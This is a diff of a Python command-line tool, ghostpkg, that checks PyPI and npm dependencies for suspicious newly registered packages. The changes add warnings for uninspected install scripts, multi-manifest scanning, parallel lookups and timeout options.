124
134
|
)
|
|
125
135
|
|
|
126
136
|
signals = None
|
|
137
|
+
not_inspected = None
|
|
127
138
|
# Only young packages are worth the download: a registered slopsquat is
|
|
128
139
|
# new by definition, and inspecting everything would make a scan slow
|
|
129
140
|
# for no gain. A compromised established package is a different threat
|
|
130
141
|
# and is out of scope -- SECURITY.md says so.
|
|
131
|
-
|
|
142
|
+
wanted = (
|
|
132
143
|
deep
|
|
133
144
|
and facts.exists
|
|
134
|
-
and facts.archive_url
|
|
135
145
|
and facts.age_days is not None
|
|
136
146
|
and facts.age_days < NEW_DAYS
|
|
137
|
-
)
|
|
147
|
+
)
|
|
148
|
+
if wanted and not facts.archive_url:
|
|
149
|
+
not_inspected = "no source archive published"
|
|
150
|
+
elif wanted:
|
|
138
151
|
try:
|
|
139
152
|
signals = inspect_package(facts.archive_url, ecosystem)
|
|
140
|
-
except InspectionError:
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
return assess(facts, strict=strict, signals=signals)
|
|
153
|
+
except InspectionError as exc:
|
|
154
|
+
not_inspected = str(exc)
|
|
144
155
|
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
156
|
+
finding = assess(
|
|
157
|
+
facts, strict=strict, signals=signals, specifier=requirement.specifier
|
|
158
|
+
)
|
|
159
|
+
# Saying nothing would let "could not inspect" read as "inspected and
|
|
160
|
+
# clean" -- and padding an archive past the size limit would then be a
|
|
161
|
+
# way to switch --deep off from the outside.
|
|
162
|
+
if not_inspected and not finding.is_blocked:
|
|
163
|
+
finding.reasons.append(f"install scripts not inspected: {not_inspected}")
|
|
164
|
+
if finding.verdict is Verdict.OK:
|
|
165
|
+
finding.verdict = Verdict.WARN
|
|
166
|
+
return finding
|
|
167
|
+
|
|
168
|
+
# Look each distinct (name, pin) pair up once. A manifest can repeat a
|
|
169
|
+
# name, and following -r includes makes that more likely.
|
|
170
|
+
unique: dict[tuple[str, str | None], Requirement] = {}
|
|
171
|
+
for item in items:
|
|
172
|
+
unique.setdefault((item.name, item.specifier), item)
|
|
173
|
+
with concurrent.futures.ThreadPoolExecutor(max_workers=max(1, workers)) as pool:
|
|
174
|
+
results = dict(zip(unique, pool.map(one, unique.values())))
|
|
150
175
|
if cache:
|
|
151
176
|
cache.save()
|
|
152
|
-
return [results[name] for
|
|
177
|
+
return [results[(item.name, item.specifier)] for item in items]
|
|
153
178
|
|
|
154
179
|
|
|
155
180
|
def build_parser() -> argparse.ArgumentParser:
|
|
@@ -163,12 +188,17 @@ def build_parser() -> argparse.ArgumentParser:
|
|
|
163
188
|
sub = parser.add_subparsers(dest="command", required=True)
|
|
164
189
|
|
|
165
190
|
check = sub.add_parser("check", help="check one or more package names")
|
|
166
|
-
check.add_argument(
|
|
191
|
+
check.add_argument(
|
|
192
|
+
"names", nargs="+", help="names, optionally pinned: requests==2.31.0"
|
|
193
|
+
)
|
|
167
194
|
check.add_argument("-e", "--ecosystem", choices=("pypi", "npm"), default="pypi")
|
|
168
195
|
|
|
169
196
|
scan = sub.add_parser("scan", help="check every dependency in a manifest")
|
|
170
197
|
scan.add_argument(
|
|
171
|
-
"
|
|
198
|
+
"paths",
|
|
199
|
+
type=Path,
|
|
200
|
+
nargs="+",
|
|
201
|
+
help="one or more manifests or lockfiles; mixed ecosystems are fine",
|
|
172
202
|
)
|
|
173
203
|
|
|
174
204
|
for command in (check, scan):
|
|
@@ -182,6 +212,20 @@ def build_parser() -> argparse.ArgumentParser:
|
|
|
182
212
|
command.add_argument(
|
|
183
213
|
"--no-cache", action="store_true", help="ignore and do not write the cache"
|
|
184
214
|
)
|
|
215
|
+
command.add_argument(
|
|
216
|
+
"--workers",
|
|
217
|
+
type=int,
|
|
218
|
+
default=MAX_WORKERS,
|
|
219
|
+
metavar="N",
|
|
220
|
+
help=f"parallel lookups (default {MAX_WORKERS})",
|
|
221
|
+
)
|
|
222
|
+
command.add_argument(
|
|
223
|
+
"--timeout",
|
|
224
|
+
type=int,
|
|
225
|
+
default=None,
|
|
226
|
+
metavar="SECONDS",
|
|
227
|
+
help="per-request timeout",
|
|
228
|
+
)
|
|
185
229
|
command.add_argument(
|
|
186
230
|
"--deep",
|
|
187
231
|
action="store_true",
|
|
@@ -203,32 +247,52 @@ def main(argv: list[str] | None = None) -> int:
|
|
|
203
247
|
print(f"ghostpkg: {'removed ' + str(cache.path) if removed else 'nothing to remove'}")
|
|
204
248
|
return EXIT_OK
|
|
205
249
|
|
|
250
|
+
if args.timeout:
|
|
251
|
+
registries.TIMEOUT = args.timeout
|
|
252
|
+
|
|
253
|
+
# Group by ecosystem so several manifests are looked up together and a
|
|
254
|
+
# dependency repeated across them costs one request, not one per file.
|
|
255
|
+
by_ecosystem: "dict[str, list]" = {}
|
|
256
|
+
|
|
206
257
|
if args.command == "scan":
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
214
|
-
|
|
215
|
-
|
|
216
|
-
|
|
217
|
-
|
|
218
|
-
|
|
219
|
-
|
|
220
|
-
|
|
221
|
-
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
|
|
225
|
-
|
|
226
|
-
|
|
258
|
+
for path in args.paths:
|
|
259
|
+
if not path.exists():
|
|
260
|
+
print(f"ghostpkg: no such file: {path}", file=sys.stderr)
|
|
261
|
+
return EXIT_ERROR
|
|
262
|
+
if path.is_dir():
|
|
263
|
+
print(
|
|
264
|
+
f"ghostpkg: {path} is a directory; pass a manifest file",
|
|
265
|
+
file=sys.stderr,
|
|
266
|
+
)
|
|
267
|
+
return EXIT_ERROR
|
|
268
|
+
try:
|
|
269
|
+
found, ecosystem = load_manifest(path)
|
|
270
|
+
except UnsupportedManifest as exc:
|
|
271
|
+
print(f"ghostpkg: {exc}", file=sys.stderr)
|
|
272
|
+
return EXIT_ERROR
|
|
273
|
+
except (json.JSONDecodeError, UnicodeDecodeError, ValueError, OSError) as exc:
|
|
274
|
+
print(f"ghostpkg: could not parse {path}: {exc}", file=sys.stderr)
|
|
275
|
+
return EXIT_ERROR
|
|
276
|
+
by_ecosystem.setdefault(ecosystem, []).extend(found)
|
|
277
|
+
if not any(by_ecosystem.values()):
|
|
278
|
+
where = ", ".join(str(p) for p in args.paths)
|
|
279
|
+
print(f"ghostpkg: no dependencies found in {where}", file=sys.stderr)
|
|
280
|
+
# Not the same as "checked, all clean": a manifest we failed to
|
|
281
|
+
# understand used to exit 0 and read as a pass in CI.
|
|
282
|
+
return EXIT_NOTHING_SCANNED
|
|
227
283
|
else:
|
|
228
|
-
|
|
284
|
+
# Accept a pin on the command line too: `ghostpkg check requests==2.31.0`.
|
|
285
|
+
by_ecosystem[args.ecosystem] = parse_requirements("\n".join(args.names))
|
|
229
286
|
|
|
230
287
|
cache = Cache(enabled=not args.no_cache)
|
|
231
|
-
findings =
|
|
288
|
+
findings: list[Finding] = []
|
|
289
|
+
for ecosystem, requirements in by_ecosystem.items():
|
|
290
|
+
if requirements:
|
|
291
|
+
findings.extend(
|
|
292
|
+
evaluate(
|
|
293
|
+
requirements, ecosystem, args.strict, cache, args.deep, args.workers
|
|
294
|
+
)
|
|
295
|
+
)
|
|
232
296
|
|
|
233
297
|
if args.json:
|
|
234
298
|
print(
|